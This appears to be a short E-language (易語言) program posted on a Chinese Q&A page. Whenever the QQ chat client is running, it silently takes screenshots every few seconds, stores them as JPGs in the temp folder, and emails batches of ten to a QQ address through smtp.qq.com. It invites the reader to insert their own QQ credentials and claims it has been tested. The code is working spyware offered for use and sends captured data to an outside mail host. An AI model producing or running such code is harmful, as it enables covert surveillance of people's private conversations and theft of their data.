.版本 2 .支持庫 EThread .支持庫 shell .支持庫 eImgConverter .支持庫 eAPI .支持庫 internet .程序集 窗口程序集1 .程序集變量 bmp, 文本型 .程序集變量 jpg, 文本型 .程序集變量 發信計時, 整數型 .子程序 _時鐘1_周期事件 .如果真 (進程是否存在 (“qq.exe”)) .如果真 (截圖 ()) 發信計時 ＝ 發信計時 ＋ 1 .如果真 (發信計時 ＝ 11) 啟動線程 (&發信, , ) 發信計時 ＝ 1 .如果真結束 .如果真結束 .如果真結束 .子程序 __啟動窗口_創建完畢 時鐘1.時鐘周期 ＝ 4000 發信計時 ＝ 1 .子程序 發信, , , 只要在這裏填寫妳的QQ就好. 發送郵件線程 ("收信QQ號碼", "發信QQ號碼", "發信QQ密碼") .子程序 截圖, 邏輯型 bmp ＝ 取特定目錄 (#臨時文件目錄) ＋“tmp” ＋ 到文本 (發信計時) ＋“.bmp” jpg ＝ 取特定目錄 (#臨時文件目錄) ＋“tmp” ＋ 到文本 (發信計時) ＋“.jpg” 刪除文件 (bmp) 刪除文件 (jpg) 寫到文件 (bmp, 快照 (, , )) 轉換到JPG (bmp, jpg, 假, 50, 真, 0) 刪除文件 (bmp) 返回(文件是否存在 (jpg)) .子程序 進程是否存在, 邏輯型 .參數 進程名, 文本型 .局部變量 進程, 進程信息, , "0" .局部變量 i, 整數型 進程＝ 取系統進程列表 () .計次循環首 (取數組成員數 (進程), i) .如果真 (到小寫 (進程 [i].進程名稱) ＝ 到小寫 (進程名)) 返回(真) .如果真結束 .計次循環尾 () 返回(假) .子程序 發送郵件線程, 邏輯型, , 前提是開啟QQ的SMTP服務 .參數 收信QQ, 文本型 .參數 發信QQ, 文本型 .參數 發信QQ密碼, 文本型 .局部變量 返回信息, 文本型 .局部變量 i, 整數型 .如果真 (連接發信服務器 (“ smtp.qq.com ”, , 發信QQ, 發信QQ密碼, 10000)) .計次循環首 (10, i) 添加附件文件 (取特定目錄 (#臨時文件目錄) ＋“tmp” ＋ 到文本 (i) ＋“.jpg”) .計次循環尾 () 返回信息 ＝ 發送郵件 (“QQ圖片來了~”, “現在時間是：”＋ 到文本 (取分鐘 (取現行時間 ())) ＋“:”＋ 到文本 (取秒 (取現行時間 ())), 收信QQ ＋“@qq.com”, , , 發信QQ ＋“@qq.com”, ) 斷開發信服務器 () .如果真 (返回信息 ＝“”) 返回(真) .如果真結束 信息框 (返回信息, 0, ) .如果真結束 返回(假) 測試過了可以發信
上一篇:單片機程序接口是什麽?下一篇:亞運會單打冠軍積分